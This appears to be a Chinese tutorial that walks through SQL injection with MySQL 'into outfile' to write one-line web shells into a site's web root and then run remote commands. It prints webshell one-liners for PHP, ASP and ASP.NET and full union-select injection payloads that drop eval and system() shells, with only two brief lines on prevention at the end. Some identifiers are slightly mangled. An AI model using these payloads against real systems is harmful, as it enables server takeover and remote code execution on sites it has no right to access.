一、提前了解
1.一句话木马:
一句话木马是一种短小精悍的木马客户端,隐蔽性好,且功能强大。
PHP:<?php @eval($GET['test'])?>
ASP:<%eval request(“test”)%>
ASP.NET:<%@ Page Language=“Jscript”%><%eval(Request.Item[“test”],”unsafe”);%>
1
2
3
4
释1:eval(string),支持PHP4\5\7,将后面的string作为PHP代码运行。
2.MySQL知识点:
select 1,2into outfile“/var/www/html/1.txt” //Linux操作系统
select 1,2into outfile“c:/phpstudy/www/1.php” //Windows操作系统
1
2
释1:into outfile将select的结果写入到指定的目录的1.txt文件中。
释2:在一些没有返回结果提示的注入中可以使用into outfile将结果写入到指定文件中,然后再访问获取。
必:union联合查询,前后字段要相同。
3.注入条件:
1、需要知道远程目录的路径;
2、远程目录要有写权限;
3、数据库开启了securefilepriv功能。(默认是关闭)
1
2
3
如何打开MySQL的securefilepriv功能:
3.1查看当前服务开启状态:
1
在这里插入图片描述
3.2修改MySQL的配置文件my.ini,修改或新增 ' securefilepriv= '
(不填写后面导出路径指可导出任意路径):
1
2
在这里插入图片描述
3.3重启mysql服务,再次查看服务开启状态:
1
在这里插入图片描述
开启成功!
1
二、构建一句话木马的sql语句:(本次基于Windows操作系统)
1.基于PHP代码的一句话木马:
1.1构建语句: select “<?php @eval($GET['test'])?>”,2 into outfile “c:/phpstudy/www/1.php”#
1.2payLoading:’ union select “<?php @eval($GET['test'])?>”,2 into outfile “c:/phpstudy/www/1.php”#
2.基于PHP的CMD命令行代码的一句话木马:
1.1构建语句: select “<?php system($GET['cmd'])?>”,2 into outfile"c:/phpstudy/www/2.php"#
1.2payLoading:’ union select “<?php system($GET['cmd'])?>”,2 into outfile"c:/phpstudy/www/2.php"#
三、将构建好的sql语句注入:在这里插入图片描述
在这里插入图片描述
四、进行OS远程控制:
1.例如基于PHP代码的一句木马:
在这里插入图片描述
注释:test=PHP代码; : 此处的PHP代码为phpinfo()函数,查询后台安装的php版本信息,可换为所需要的PHP代码。
2.基于PHP的cmd命令行代码的一句话木马(针对于二-2所构建的一句话木马):
在这里插入图片描述
注释:cmd=命令行代码 : 此处的命令行代码为ipconfig,查询后台ip信息,可换为所需要的命令行代码。
五、防范sql注入OS远控
1.网站根目录上传成功后,W写权限一定要关掉;
2.MySql的securefile_priv服务,不需要时及时关闭;